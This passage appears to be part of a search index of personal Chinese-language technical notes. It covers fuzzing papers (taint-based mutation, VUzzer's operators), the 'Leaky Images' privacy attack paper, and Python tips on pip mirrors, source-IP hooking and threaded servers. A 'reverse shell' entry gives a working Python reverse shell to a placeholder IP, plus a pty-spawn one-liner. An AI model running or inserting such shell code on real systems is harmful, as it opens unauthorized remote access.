<p>\\u8fd9\\u79cd\\u65b9\\u5f0f\\u53ef\\u4ee5\\u4e0e\\u68af\\u5ea6\\u4e0b\\u964d\\u76f8\\u5f53\\uff0c\\u8fd8\\u80fd\\u907f\\u514dAngora\\u7684\\u9677\\u5165\\u5c40\\u90e8\\u6700\\u4f18\\u7684\\u95ee\\u9898 \\u5728\\u66ff\\u6362seed\\u540e \\u540e\\u7eed\\u5bf9\\u8fd9\\u4e2aseed\\u7684\\u4f7f\\u7528\\u4e5f\\u7acb\\u523b\\u6362\\u6210\\u65b0\\u7684seed \\u8fd9\\u6837\\u53ef\\u4ee5\\u5728LAVA\\u6570\\u636e\\u96c6\\u4e0a\\u5feb3\\u500d</p> <p>\\u9009seed\\u7684\\u65f6\\u5019 \\u7ed9\\u9ad8\\u5206\\u6570\\u7684\\u66f4\\u9ad8\\u6743\\u91cd</p> <p>selective testing \\u76f8\\u6bd4AFL\\u7684coverage tracking\\u591a\\u4e86\\u4e24\\u4e2a\\u6a21\\u5f0f\\uff1aFTI\\u53d8\\u91cf\\u503c\\u76d1\\u6d4b\\uff0c\\u8fdb\\u5316\\u4f18\\u5316\\u7b97conformance\\u5206\\u6570 \\u5f53conformance\\u4e00\\u6bb5\\u65f6\\u95f4\\u4e0d\\u589e\\u52a0\\u4e86\\u5c31\\u5207\\u56deAFL\\u7684\\u6a21\\u5f0f \\u63d0\\u9ad8\\u8fd0\\u884c\\u901f\\u5ea6</p> <p>conformance\\u8ba1\\u7b97\\u7528\\u7684by operations like __builtin_popcount FTI\\u7528\\u5230\\u7684\\u503c\\u76d1\\u6d4b \\u7528\\u7684bitmap\\u7684\\u7ed3\\u679c \\u7ed9\\u6bcf\\u4e2a\\u53d8\\u91cf\\u4e00\\u4e2a\\u5168\\u5c40\\u552f\\u4e00\\u7684ID</p> <p>LAVA-M\\u9664\\u4e86who\\u4e5f\\u6709unlisted bugs?</p> <p>\\u66f4\\u6df1\\u5165\\u7684\\u5206\\u6790\\uff1a FTI\\u7684under taint\\u95ee\\u9898 FTI\\u6709\\u6ca1\\u6709\\u7528\\uff1f \\u5b9e\\u73b0\\u4e00\\u4e2a\\u57fa\\u4e8eDTA\\u7684\\u955c\\u50cf\\u6bd4\\u8f83 \\u5404\\u4e2a\\u4e0d\\u540c\\u90e8\\u5206\\u5bf9\\u7ed3\\u679c\\u7684\\u8d21\\u732e \\u53bb\\u6389\\u4f18\\u5148\\u7b56\\u7565\\uff0c\\u53bb\\u6389conformance\\u8fdb\\u5316 \\u4e09\\u8005\\u6bd4\\u8f83 selective fuzzing \\u6bd4\\u8f83\\u6267\\u884c\\u901f\\u5ea6</p> <p>\\u5176\\u4ed6Paper:</p> <pre><code>DigFuzz[45] \\u7528\\u4e86\\u7b26\\u53f7\\u6267\\u884c \\u6982\\u7387\\u8def\\u5f84\\u4f18\\u5148\\u6a21\\u578b\\nTaintInduce[46]\\u53ef\\u4ee5\\u81ea\\u52a8\\u63a8\\u6d4b\\u51fapropagation rules\\nProFuzzer[42]\\u4e5f\\u662f\\u4e00\\u6b21\\u53d8\\u5f02\\u4e00\\u4e2a\\u5b57\\u8282 \\u4f46\\u53ea\\u5173\\u6ce8coverage\\u53d8\\u5316 \\u4e0d\\u80fd\\u63a8\\u65ad\\u51fa\\u6c61\\u70b9\\u7684\\u4f9d\\u8d56\\u5173\\u7cfb \\u548cFairFuzz[24]\\u90fd\\u80fd\\u63a8\\u65adpartial type of mutated bytes \\u4f46\\u5bf9\\u8fd9\\u4e2a\\u5206\\u652f\\u662f\\u5426\\u5df2\\u7ecf\\u5230\\u8fc7\\u662finsensitive\\u7684\\nMutaFlow[26] \\u76d1\\u6d4bsink APIs\\u7684\\u53d8\\u5316 \\u53c2\\u6570\\u662f\\u5426\\u88abtainted\\nREDQUEEN[4] \\u80fd\\u5904\\u7406direct copy\\u4f46\\u4e0d\\u80fd\\u627e\\u5230\\u7cbe\\u786e\\u7684\\u4f4d\\u7f6e \\u9700\\u8981\\u767e\\u6b21\\u8fd0\\u884c\\u6765\\u83b7\\u5f97a colorized version with higher entropy \\u518d\\u6d4b\\u4e00\\u904d\\u83b7\\u5f97\\u4f4d\\u7f6e \\u6574\\u4e2a\\u8fc7\\u7a0b\\u592a\\u6162\\nIntel-laf[1] \\u5c06\\u957f\\u7684\\u6bd4\\u8f83\\u5206\\u5272\\u6210\\u77ed\\u7684\\u6bd4\\u8f83 \\u4f46\\u662f\\u5e26\\u6765\\u66f4\\u591a\\u8bed\\u4e49\\u76f8\\u540c\\u7684\\u8def\\u5f84 \\u4e0d\\u80fd\\u5904\\u7406\\u975e\\u5e38\\u91cf\\u6bd4\\u8f83\\nSYMFUZZ[8] \\u53ef\\u4ee5\\u68c0\\u6d4binput bits\\u4e4b\\u95f4\\u7684\\u4f9d\\u8d56 \\u8ba1\\u7b97\\u51faoptimal mutation ratio\\n</code></pre>\"},{\"location\":\"PaperReading/#vuzzer\",\"title\":\"VUzzer\\u7684\\u53d8\\u5f02\\u64cd\\u4f5c\",\"text\":\"<p>https://github.com/vusec/vuzzer/blob/f6f7d593a0e76e86afb3c7af6d5186f897bab979/operators.py#L291</p> <p>\\u8fd9\\u91cc\\u6211\\u4eec\\u5206\\u6790\\u4e00\\u4e0bvuzzer\\u5b9e\\u73b0\\u7684\\u53d8\\u5f02\\u64cd\\u4f5c\\uff0c\\u5176\\u6240\\u6709operators\\u4e3a\\u4e00\\u4e2a\\u6570\\u7ec4\\uff0c\\u6bcf\\u4e2a\\u5143\\u7d20\\u90fd\\u662f\\u4e00\\u4e2a\\u51fd\\u6570</p> <p>\\u540c\\u4e00\\u4e2a\\u51fd\\u6570\\u53ef\\u4ee5\\u51fa\\u73b0\\u591a\\u6b21\\uff0c\\u6392\\u5e8f\\u540e\\u5982\\u4e0b\\u6240\\u793a\\uff0c\\u6211\\u6309\\u7167\\u6211\\u7684\\u7406\\u89e3\\u6807\\u6ce8\\u4e86\\u529f\\u80fd\\uff1a</p> <pre><code>add_random \\u9009\\u62e9\\u4e00\\u4e2a\\u968f\\u673a\\u4f4d\\u7f6e \\u63d2\\u5165\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\nadd_random\\nadd_random\\nchange_bytes \\u6839\\u636eTAINTMAP\\u4fee\\u6539\\nchange_bytes\\nchange_random \\u9009\\u62e9\\u4e00\\u90e8\\u5206\\u5b57\\u8282\\u66ff\\u6362\\u4e3a\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\nchange_random\\nchange_random_full \\u9009\\u62e9\\u4e00\\u90e8\\u5206\\u5b57\\u8282\\u66ff\\u6362\\u4e3a\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\u6216\\u4ece\\u7a0b\\u5e8f\\u4e2d\\u63d0\\u53d6\\u51fa\\u7684magic bytes\\nchange_random_full\\ndouble_fuzz \\u968f\\u673a\\u9009\\u62e9\\u4e24\\u79cdmutator\\neliminate_double_null \\u5220\\u53bb\\\\0\\\\0\\neliminate_null \\u5c06\\\\0\\u66ff\\u6362\\u4e3aA\\neliminate_random \\u968f\\u673a\\u5220\\u53bb\\u4e00\\u90e8\\u5206\\neliminate_random\\nint_slide \\u5c06\\u7279\\u5b9a\\u4f4d\\u7f6e\\u53d8\\u4e3a \\\\xFF\\\\xFF\\\\xFF\\\\xFF \\u6216 \\\\x80\\\\x00\\\\x00\\\\x00 \\u6216 \\\\x00\\\\x00\\\\x00\\\\x00\\nlower_single_random \\u968f\\u673a\\u53d8\\u5f021~100\\u6b21\\uff1a\\u6bcf\\u6b21\\u9009\\u62e9\\u4e00\\u4e2a\\u968f\\u673a\\u5b57\\u7b26\\u53d8\\u4e3a\\u5176-1\\nraise_single_random \\u968f\\u673a\\u53d8\\u5f021~100\\u6b21\\uff1a\\u6bcf\\u6b21\\u9009\\u62e9\\u4e00\\u4e2a\\u968f\\u673a\\u5b57\\u7b26\\u53d8\\u4e3a\\u5176+1\\nsingle_change_random \\u968f\\u673a\\u53d8\\u5f021~100\\u6b21\\uff1a\\u6bcf\\u6b21\\u9009\\u62e9\\u4e00\\u4e2a\\u968f\\u673a\\u5b57\\u7b26\\u53d8\\u4e3a\\u968f\\u673a\\u5b57\\u7b26\\ntotally_random \\u751f\\u6210\\u4e00\\u4e2a\\u957f\\u5ea6\\u5728100~1000\\u7684\\u5b57\\u7b26\\u4e32\\n</code></pre>\"},{\"location\":\"PaperReading/#leaky-images-targeted-privacy-attacks-in-the-web\",\"title\":\"Leaky Images: Targeted Privacy Attacks in the Web\",\"text\":\"<p>Usenix19 PDF</p> <p>\\u653b\\u51fb\\u8005\\u53ef\\u4ee5\\u77e5\\u9053\\u7528\\u6237\\u5728google,onedrive,dropbox\\u7684\\u767b\\u5f55\\u8eab\\u4efd\\uff0c\\u901a\\u8fc7\\u7279\\u5b9a\\u5206\\u4eab\\u4e00\\u4e2a\\u56fe\\u7247\\u770b\\u80fd\\u5426\\u6210\\u529f\\u52a0\\u8f7d</p> <p>\\u5728intro\\u91cc\\u5c31\\u7ed9\\u51fa\\u4e00\\u4e2a\\u5438\\u5f15\\u4eba\\u7684\\u4f8b\\u5b50\\uff1a\\u7528\\u6765\\u53bb\\u533f\\u540d\\u5316\\u5ba1\\u7a3f\\u4eba\\u2014\\u2014\\u6536\\u96c6\\u6240\\u6709committe\\u7684\\u90ae\\u7bb1\\u5206\\u4eab\\u56fe\\u7247\\uff0c\\u8bba\\u6587\\u4e2d\\u7ed9\\u4e2a\\u653b\\u51fb\\u8005\\u7f51\\u7ad9\\u7684\\u94fe\\u63a5</p> <p>\\u8868\\u683c1\\u6bd4\\u8f83\\u76f8\\u5173\\u7684\\u653b\\u51fb\\uff1a\\u8ffd\\u8e2a\\u50cf\\u7d20\\u3001\\u793e\\u4ea4\\u5a92\\u4f53\\u6307\\u7eb9\\uff08\\u662f\\u5426\\u767b\\u5f55\\uff09\\u3001CSRF\\uff08\\u6709\\u526f\\u4f5c\\u7528\\uff09\\u3001\\u672c\\u6587Leaky images</p> <p>\\u6bd4\\u8f83\\uff1a\\u8c01\\u80fd\\u653b\\u51fb\\uff1f \\u653b\\u51fb\\u8005\\u80fd\\u5b9e\\u73b0\\u5565\\uff1f \\u7528\\u9014\\u573a\\u666f</p> <p>\\u6240\\u6709\\u7f51\\u7ad9\\u90fd\\u80fd\\u53d1\\u8d77\\u653b\\u51fb\\uff0c\\u53ef\\u4ee5\\u51c6\\u786e\\u627e\\u51fa\\u53d7\\u5bb3\\u8005\\uff0c\\u5b9a\\u5411\\u7684fine-grained\\u53bb\\u533f\\u540d\\u5316</p> <p>\\u7814\\u7a76\\u4e86250\\u4e2a\\u6700\\u6d41\\u884c\\u7f51\\u7ad9\\u768430\\u4e2a \\u627e\\u52308\\u4e2a\\u7f51\\u7ad9\\u6709\\u6f0f\\u6d1e \\u624b\\u5de5\\u627e \\u5171\\u4eab\\u7684\\u56fe\\u7247\\u80fd\\u901a\\u8fc7\\u4e00\\u4e2alink\\u52a0\\u8f7d \\u4e14\\u53ea\\u6709\\u7279\\u5b9a\\u7528\\u6237\\u80fd\\u8bbf\\u95ee\\uff08\\u57fa\\u4e8ecookie\\u7684\\u8bbf\\u95ee\\u63a7\\u5236\\uff09</p> <p>\\u8d21\\u732e\\uff1a</p> <ul> <li>\\u65b0\\u7684\\u653b\\u51fb \\u5b9a\\u5411\\u9690\\u79c1\\u653b\\u51fb\\u6ee5\\u7528\\u56fe\\u7247\\u5171\\u4eab\\u670d\\u52a1\\u6765\\u786e\\u5b9a\\u53d7\\u5bb3\\u8005\\u662f\\u5426\\u6b63\\u5728\\u8bbf\\u95ee\\u653b\\u51fb\\u8005\\u7684\\u7f51\\u7ad9</li> <li>\\u8ba8\\u8bba\\u4e86\\u653b\\u51fb\\u7684\\u5404\\u4e2a\\u53d8\\u79cd \\u53ef\\u4ee5\\u653b\\u51fbaim at\\u5355\\u4e2a\\u7528\\u6237 \\u4e00\\u7fa4\\u7528\\u6237 \\u4e0d\\u540c\\u670d\\u52a1\\u4e4b\\u95f4link\\u7528\\u6237 \\u4ee5\\u53ca\\u4e0d\\u9700\\u8981js\\u7684</li> <li>\\u5c55\\u793a8\\u4e2a\\u6d41\\u884c\\u7f51\\u7ad9\\u5b58\\u5728\\u95ee\\u9898 \\u8ba9\\u7b2c\\u4e09\\u65b9\\u7f51\\u7ad9\\u80fd\\u5b9a\\u4f4d\\u4ed6\\u4eec\\u7684\\u7528\\u6237</li> <li>\\u63d0\\u51fa\\u591a\\u79cd\\u7f13\\u89e3\\u95ee\\u9898\\u7684\\u65b9\\u6848\\u5e76\\u8ba8\\u8bba\\u4f18\\u7f3a\\u70b9</li> </ul> <p>Table2 shows a two-dimensional matrix \\u6839\\u636e\\u662f\\u5426\\u9274\\u6743+URL\\u662f\\u516c\\u5f00\\u3001\\u4e0d\\u540c\\u7528\\u6237\\u76f8\\u540c\\u3001\\u4e0d\\u540c\\u7528\\u6237\\u4e0d\\u540c\\u6765\\u533a\\u5206\\uff0c\\u53ea\\u6709\\u9700\\u8981\\u9274\\u6743+\\u516c\\u5f00url \\u548c \\u9700\\u8981\\u9274\\u6743+url\\u5bf9\\u653b\\u51fb\\u8005\\u53ef\\u77e5 \\u624d\\u80fd\\u505aLeaky image\\u653b\\u51fb</p> <p>\\u8ba8\\u8bba\\u90e8\\u5206\\uff1a\\u5728\\u65b9\\u6cd5\\u4e00\\u8282\\u4e2d\\u5c31\\u8ba8\\u8bbarelated work\\uff0c\\u6bd4\\u8f83\\u8ffd\\u8e2a\\u50cf\\u7d20\\u3001\\u6307\\u7eb9\\u3001\\u5b9a\\u5411\\u653b\\u51fbvs\\u5927\\u89c4\\u6a21\\u8ffd\\u8e2a\\u3002\\u5b9a\\u5411\\u653b\\u51fb\\u636e\\u8bf4\\u5bf9\\u9ad8\\u4ef7\\u503c\\u53d7\\u5bb3\\u8005\\u8d8a\\u6765\\u8d8a\\u6d41\\u884c[37]</p> <p>\\u73b0\\u5b9emeasurement\\u7684\\u8ba8\\u8bba Our study of \\u2026 in real-world sites enables several observations.</p> <ul> <li>Leaky images\\u662f\\u666e\\u904d\\u7684 prevalent</li> <li>\\u53d7\\u5bb3\\u8005\\u751a\\u81f3\\u4e0d\\u4f1a\\u6ce8\\u610f\\u5230\\u88ab\\u5171\\u4eab\\u4e86\\u4e00\\u4e2a\\u56fe\\u7247</li> <li>\\u53d7\\u5bb3\\u8005\\u4e0d\\u80fdunshare</li> <li>\\u56fe\\u7247\\u5171\\u4eab\\u670d\\u52a1\\u4f7f\\u7528\\u4e86\\u591a\\u79cd\\u5b9e\\u73b0\\u7b56\\u7565\\u7684\\u6df7\\u5408 use a diverse mix of implementation strategies</li> <li>\\u4e0d\\u540c\\u7f51\\u7ad9\\u653b\\u51fb\\u9762\\u4e0d\\u540c varies from site to site</li> </ul> <p>\\u8868\\u8fbe\\uff1a</p> <p>\\u4ec5\\u4ec5\\u9700\\u8981 involve nothing more than \\u2026</p> <p>\\u8bc1\\u660e\\u73b0\\u5b9e\\u5b58\\u5728\\u80fd\\u5f71\\u54cd\\u4eca\\u5929\\u6700\\u6d41\\u884c\\u7f51\\u7ad9 Section 4 shows that these cases occur in practice, and that they affect some of today\\u2019s most popular websites.</p> <p>\\u4e3a\\u4e86\\u7406\\u89e3\\u6700\\u6d41\\u884c\\u7f51\\u7ad9\\u53d7\\u5f71\\u54cd\\u7684\\u7a0b\\u5ea6 To understand to what extent popular websites are affected by the privacy problem discussed in this paper</p> <p>\\u7b2c\\u4e00\\u4e14\\u6700\\u91cd\\u8981\\u7684The first and perhaps most important observation is that \\u2026</p> <p>\\u5e0c\\u671b\\u80fd\\u4fc3\\u8fdb\\u4ee5\\u540e\\u66f4\\u81ea\\u52a8\\u5316\\u7684\\u7814\\u7a76 We hope that our results will spur future work on more automated analyses that identify leaky images</p> <p>\\u8ba8\\u8bba\\u6bcf\\u4e2a\\u89e3\\u51b3\\u65b9\\u6848\\u4e0d\\u8db3</p> <p>The drawback of this fix is that \\u2026</p> <p>On the downside, implementing this defense may \\u2026</p> <p>However, this mitigation cannot defend against \\u2026</p> <p>require the developers to be aware of the vulnerability in the first place. \\u4e8b\\u5148\\u5c31\\u77e5\\u9053\\u8fd9\\u4e2a\\u6f0f\\u6d1e\\u7684\\u5b58\\u5728</p> <p>\\u548cGDPR\\u5f88\\u642d\\uff0c\\u8981\\u6c42\\u8bbe\\u8ba1\\u4e0a\\u9ed8\\u8ba4\\u4fdd\\u62a4 would be in the spirit of the newly adopted European Union\\u2019s Genearl Data Protection Regulation which requires data protection by design and by default.</p> <p>\\u9700\\u8981\\u66f4\\u591a\\u7814\\u7a76\\u6765\\u6df1\\u5165\\u5206\\u6790\\u53ef\\u7528\\u6027+\\u517c\\u5bb9\\u6027+\\u90e8\\u7f72\\u5f00\\u9500\\uff0cto aid the browser vendors to take an informed decision, future work should perform an in-depth analysis of all these defenses in terms of usability, compatibility and deployment cost, in the style of \\u2026 [9], and possibly propose additional solutions.</p> <p>\\u8865\\u5145\\u4e86\\u4e00\\u79cd\\u65b0\\u7684\\u653b\\u51fbLeaky images adds a privacy-related attack to the set of existing targeted attacks.</p> <p>\\u5382\\u5546\\u4fee\\u590d\\u8bf4\\u660e\\u95ee\\u9898\\u5f88\\u91cd\\u8981 This feedback shows that the problem we identified is important to practitioners.</p> <p>\\u6211\\u4eec\\u7684\\u8bba\\u6587\\u5e2e\\u52a9\\u63d0\\u9ad8\\u5f00\\u53d1\\u8005\\u548c\\u7814\\u7a76\\u8005\\u7684\\u610f\\u8bc6\\u4ee5\\u540e\\u907f\\u514d\\u8fd9\\u4e2a\\u95ee\\u9898 Our paper helps raising awareness among developers and researchers to avoid this privacy issue in the future.</p> <p>\\u6280\\u672f\\uff1a</p> <p>\\u4e0d\\u7528onload\\u4e5f\\u53ef\\u4ee5\\u53bb\\u68c0\\u67e5\\u5df2\\u7ecf\\u52a0\\u8f7d\\u7684\\u56fe\\u7247\\u7684\\u5bbd\\u9ad8</p> <p>\\u7528\"},{\"location\":\"Python/\",\"title\":\"Python\",\"text\":\"<p>\\u55ef\\u54fc\\uff0cPython\\u5f88\\u597d\\u73a9\\u5462\\u2026\\u6709\\u4eba\\u8bf4Python\\u662f\\u80fd\\u8fd0\\u884c\\u7684\\u4f2a\\u4ee3\\u7801\\uff0c\\u5c31\\u5199\\u4ee3\\u7801\\u7684\\u901f\\u5ea6\\u800c\\u8a00\\u662f\\u663e\\u8457\\u4f18\\u4e8eC\\u7684\\uff0c\\u4e5f\\u6709\\u5f88\\u591a\\u597d\\u7528\\u7684\\u7c7b\\u5e93\\u5462\\uff0c\\u53cd\\u6b63\\u5f3a\\u70c8\\u63a8\\u8350\\u8fd9\\u95e8\\u8bed\\u8a00\\u5566~</p> <p>\\u5f53\\u4f60\\u5c1d\\u8bd5\\u4e00\\u4e2a\\u5305\\u7684\\u65f6\\u5019\\uff0c\\u6ce8\\u610f\\u81ea\\u5df1\\u7684py\\u6587\\u4ef6\\u540d\\u79f0\\u4e0d\\u80fd\\u4e0e\\u5305\\u540d\\u91cd\\u540d\\uff0c\\u4f8b\\u5982\\u4e0d\\u8981\\u51fa\\u73b0flask.py</p>\"},{\"location\":\"Python/#pip\",\"title\":\"\\u5b89\\u88c5pip\",\"text\":\"<pre><code>curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py\\npython get-pip.py\\n</code></pre>\"},{\"location\":\"Python/#pip-mirrorsaliyuncom\",\"title\":\"\\u8bbe\\u7f6epip\\u6e90 - mirrors.aliyun.com\",\"text\":\"<p>\\u5982\\u679c\\u53ea\\u9700\\u8981\\u4e00\\u6b21\\u6027\\u5b89\\u88c5\\u4e2a\\u5305\\uff08\\u5982Dockerfile\\uff09\\uff1a </p> <pre><code>pip install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com\\n</code></pre> <p>\\u5728Linux\\u670d\\u52a1\\u5668\\u4e0a\\u5b89\\u88c5python\\u7684\\u5305\\u65f6\\uff0c\\u6267\\u884c\\u8fd9\\u6bb5\\u4ee3\\u7801\\u53ef\\u4ee5\\u5c06pip\\u6e90\\u6539\\u4e3a\\u56fd\\u5185\\u7684\\u963f\\u91cc\\u955c\\u50cf\\uff08\\u8c46\\u74e3\\u6e90\\u4f3c\\u4e4e\\u4e0d\\u518d\\u66f4\\u65b0\\uff09\\uff0c\\u80fd\\u663e\\u8457\\u63d0\\u9ad8\\u5305\\u7684\\u4e0b\\u8f7d\\u901f\\u5ea6</p> <pre><code>mkdir -p ~/.pip\\necho \\\"\\\"\\\"\\n[global]\\nindex-url = http://mirrors.aliyun.com/pypi/simple/\\n[install]\\ntrusted-host=mirrors.aliyun.com\\n\\\"\\\"\\\"&gt;~/.pip/pip.conf\\n</code></pre> <p>\\u81f3\\u4e8eWindows\\u7528\\u6237\\uff0c\\u5728\\u7528\\u6237\\u76ee\\u5f55\\u4e0b\\u521b\\u5efa\\u4e00\\u4e2apip\\u76ee\\u5f55\\uff0c\\u5982\\uff1aC:\\\\Users\\\\chenyuan\\\\pip\\uff0c\\u65b0\\u5efa\\u6587\\u4ef6pip.ini\\uff0c\\u5185\\u5bb9\\u5982\\u4e0b\\uff1a</p> <pre><code>[global]\\nindex-url = http://mirrors.aliyun.com/pypi/simple/\\n[install]\\ntrusted-host=mirrors.aliyun.com\\n</code></pre>\"},{\"location\":\"Python/#shell\",\"title\":\"\\u53cd\\u5f39shell\",\"text\":\"<p>\\u9996\\u5148\\u81ea\\u5df1\\u7684\\u670d\\u52a1\\u5668\\u4e0a\\u7528nc -l \\u7aef\\u53e3</p> <pre><code>import socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect(( \\\"IP\\u5730\\u5740\\\" , \\u7aef\\u53e3 ))\\nos.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\np=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\\n</code></pre> <p>\\u5355\\u884c\\u7248\\u672c\\uff1a</p> <pre><code>IP=\\\"x.x.x.x\\\";PORT=6666;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(( IP , PORT ));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\\n</code></pre>\"},{\"location\":\"Python/#tty\",\"title\":\"\\u83b7\\u5f97\\u4e00\\u4e2atty\",\"text\":\"<pre><code>python -c 'import pty; pty.spawn(\\\"/bin/sh\\\")'\\n</code></pre>\"},{\"location\":\"Python/#requestsip\",\"title\":\"\\u8ba9requests\\u4f7f\\u7528\\u591a\\u4e2aIP\",\"text\":\"<p>requests\\u5305\\u5e76\\u6ca1\\u6709\\u4f7f\\u7528socket.create_connection\\u51fd\\u6570\\uff0c\\u6240\\u4ee5\\u66ff\\u6362socket.create_connection\\u5e76\\u4e0d\\u591f</p> <pre><code>def function_hook_parameter(oldfunc, parameter_index, parameter_name, parameter_value):\\n\\\"\\\"\\\"\\n    \\u521b\\u9020\\u4e00\\u4e2awrapper\\u51fd\\u6570\\uff0c\\u52ab\\u6301oldfunc\\u4f20\\u5165\\u7684\\u7b2cparameter_index\\u540d\\u4e3aparameter_name\\u7684\\u51fd\\u6570\\uff0c\\u56fa\\u5b9a\\u5176\\u503c\\u4e3aparameter_value; \\u4e0d\\u5f71\\u54cd\\u8c03\\u7528\\u8be5\\u51fd\\u6570\\u65f6\\u4f20\\u5165\\u7684\\u4efb\\u4f55\\u5176\\u4ed6\\u53c2\\u6570\\n    \\u7528\\u6cd5\\uff1a \\u539f\\u51fd\\u6570 = function_hook_parameter(\\u539f\\u51fd\\u6570, \\u4ece1\\u5f00\\u59cb\\u8ba1\\u6570\\u7684\\u53c2\\u6570\\u6240\\u5904\\u7684\\u4f4d\\u7f6e, \\u8fd9\\u4e2a\\u53c2\\u6570\\u7684\\u540d\\u79f0, \\u9700\\u8981\\u66ff\\u6362\\u6210\\u7684\\u53c2\\u6570\\u503c)\\n\\n    \\u4f8b\\u5b50\\uff1a \\u9700\\u8981\\u52ab\\u6301socket.create_connection\\u8fd9\\u4e2a\\u51fd\\u6570\\uff0c\\u5176\\u51fd\\u6570\\u539f\\u578b\\u5982\\u4e0b\\uff1a \\n               create_connection(address, timeout=_GLOBAL_DEFAULT_TIMEOUT, source_address=None)\\n           \\u9700\\u8981\\u5bf9\\u5176\\u7b2c3\\u4e2a\\u53c2\\u6570source_address\\u56fa\\u5b9a\\u4e3avalue\\uff0c\\u52ab\\u6301\\u65b9\\u6cd5\\u5982\\u4e0b\\n               socket.create_connection = function_hook_parameter(socket.create_connection, 3, \\\"source_address\\\", value)\\n    \\\"\\\"\\\"\\n    real_func = oldfunc\\n    def newfunc(*args, **kwargs):  # args\\u662f\\u53c2\\u6570\\u5217\\u8868list\\uff0ckwargs\\u662f\\u5e26\\u6709\\u540d\\u79f0keyword\\u7684\\u53c2\\u6570dict\\n        newargs = list(args)\\n        if len(args) &gt;= parameter_index:  # \\u5982\\u679c\\u8fd9\\u4e2a\\u53c2\\u6570\\u88ab\\u76f4\\u63a5\\u4f20\\u5165\\uff0c\\u90a3\\u4e48\\u80af\\u5b9a\\u5176\\u524d\\u9762\\u7684\\u53c2\\u6570\\u90fd\\u662f\\u65e0\\u540d\\u79f0\\u7684\\u53c2\\u6570\\uff0cargs\\u7684\\u957f\\u5ea6\\u80af\\u5b9a\\u957f\\u4e8e\\u5176\\u6240\\u5728\\u7684\\u4f4d\\u7f6e\\n            newargs[parameter_index - 1] = parameter_value  # \\u7b2c3\\u4e2a\\u53c2\\u6570\\u5728list\\u7684\\u4e0b\\u6807\\u662f2\\n        else:  # \\u5982\\u679c\\u4e0d\\u662f\\u76f4\\u63a5\\u4f20\\u5165\\uff0c\\u90a3\\u4e48\\u5c31\\u5728kwargs\\u4e2d \\u6216\\u8005\\u4f20\\u5165\\u7684\\u53ef\\u9009\\u53c2\\u6570\\u4e2d\\u6ca1\\u6709\\u8fd9\\u4e2a\\u53c2\\u6570\\uff0c\\u76f4\\u63a5\\u8bbe\\u7f6ekwargs\\u5373\\u53ef\\n            kwargs[parameter_name] = parameter_value\\n        return real_func(*newargs, **kwargs)\\n    return newfunc\\n\\n\\nmyip = \\\"x.x.x.x\\\" #\\u4f60\\u9700\\u8981\\u4f7f\\u7528\\u7684IP\\uff0c\\u9700\\u8981\\u64cd\\u4f5c\\u7cfb\\u7edf\\u5df2\\u7ecf\\u53d6\\u5f97\\u8fd9\\u4e2aIP\\nimport socket\\nsocket.create_connection = function_hook_parameter(socket.create_connection, 3, \\\"source_address\\\", (myip, 0))\\nimport requests\\nbakup_create_connection = requests.packages.urllib3.util.connection.create_connection #\\u5907\\u4efd\\u4e00\\u4efd\\u4ee5\\u5907\\u540e\\u7eed\\u7ee7\\u7eed\\u66ff\\u6362\\nrequests.packages.urllib3.util.connection.create_connection = function_hook_parameter(requests.packages.urllib3.util.connection.create_connection, 3, \\\"source_address\\\", (myip, 0))\\n\\n# \\u9a8c\\u8bc1\\u662f\\u5426\\u6210\\u529f\\u4fee\\u6539\\u6e90IP\\nprint(requests.get(\\\"http://ip.cn\\\").text) #\\u8bbf\\u95ee\\u7f51\\u7ad9\\u67e5\\u770b\\u5f53\\u524d\\u4f7f\\u7528\\u7684\\u516c\\u7f51IP\\uff0c\\u5982\\u679c\\u5185\\u7f51\\u4f60\\u53ef\\u4ee5\\u81ea\\u884c\\u642d\\u5efa\\u670d\\u52a1\\u5668\\u67e5\\u770b\\u8bbf\\u95ee\\u65e5\\u5fd7\\u4ece\\u800c\\u786e\\u5b9aIP\\n\\n# \\u5982\\u679c\\u540e\\u7eed\\u8fd8\\u8981\\u8fdb\\u884c\\u66ff\\u6362\\uff0c\\u5219\\u5e94\\u8be5\\u4f20\\u5165bakup_create_connection\\nmynewip = \\\"x.x.x.y\\\" #\\u53e6\\u5916\\u4e00\\u4e2a\\u5f53\\u524d\\u64cd\\u4f5c\\u7cfb\\u7edf\\u5df2\\u7ecf\\u53d6\\u5f97\\u7684IP\\nrequests.packages.urllib3.util.connection.create_connection = function_hook_parameter(bakup_create_connection, 3, \\\"source_address\\\", (mynewip, 0))\\n</code></pre>\"},{\"location\":\"Python/#python_1\",\"title\":\"Python\\u591a\\u7ebf\\u7a0b\\u6a21\\u677f\",\"text\":\"<p>\\u4f7f\\u7528threading\\u6a21\\u5757\\u8fdb\\u884c\\u5f00\\u53d1</p> <p>MultiThread_Template.py</p>\"},{\"location\":\"Python/#httpserverbasehttpserver\",\"title\":\"http.server\\uff08BaseHTTPServer\\uff09\\u5e76\\u53d1\\u6027\\u6539\\u5584\",\"text\":\"\"},{\"location\":\"Python/#new-version\",\"title\":\"New version \\u4e0d\\u5fc5\\u4fee\\u6539\\u5e93\\u4ee3\\u7801\",\"text\":\"<p>\\u5728\\u4f7f\\u7528BaseHTTPServer.HTTPServer\\u7684\\u65f6\\u5019\\uff0c\\u5bf9\\u5176\\u4f7f\\u7528\\u7684\\u7236\\u7c7b\\u4fee\\u6539\\u521b\\u9020\\u81ea\\u5df1\\u7684\\u7c7b\\uff0c\\u53c2\\u8003How to dynamically change base class of instances at runtime?</p> <pre><code>import BaseHTTPServer # \\u5982\\u679cpy3\\uff0c\\u9700\\u8981import http.server as BaseHTTPServer\\nimport socketserver\\nMyHTTPServer = type('MyHTTPServer', (socketserver.ThreadingTCPServer,), dict(BaseHTTPServer.HTTPServer.__dict__))\\n\\ndef MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):\\n    pass # 